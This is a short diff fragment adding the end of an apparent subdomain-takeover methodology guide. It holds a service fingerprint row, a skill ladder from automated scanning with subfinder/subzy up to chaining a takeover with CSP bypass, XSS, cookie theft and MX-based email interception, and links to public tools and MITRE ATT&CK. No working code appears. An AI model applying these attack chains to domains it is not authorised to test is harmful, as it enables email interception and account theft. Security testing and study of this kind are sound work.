|
|
285
|
+
Desk.com (Salesforce) "Please try again" ✅ Yes
|
|
286
|
+
```
|
|
287
|
+
|
|
288
|
+
---
|
|
289
|
+
|
|
290
|
+
## Skill Levels
|
|
291
|
+
|
|
292
|
+
**BEGINNER:** subfinder + subzy automated scan → identify candidates → manual verification
|
|
293
|
+
|
|
294
|
+
**INTERMEDIATE:** GitHub Pages / S3 takeover PoC → cookie theft demonstration
|
|
295
|
+
|
|
296
|
+
**ADVANCED:** NS takeover → full zone control → MX takeover for email interception
|
|
297
|
+
|
|
298
|
+
**EXPERT:** Chained attack: takeover → CSP bypass → XSS on main domain → account takeover
|
|
299
|
+
|
|
300
|
+
---
|
|
301
|
+
|
|
302
|
+
## References
|
|
303
|
+
|
|
304
|
+
- Can-I-Take-Over-XYZ: https://github.com/EdOverflow/can-i-take-over-xyz
|
|
305
|
+
- Subzy: https://github.com/LukaSikic/subzy
|
|
306
|
+
- Nuclei takeover templates: https://github.com/projectdiscovery/nuclei-templates
|
|
307
|
+
- MITRE T1584.001: https://attack.mitre.org/techniques/T1584/001/
|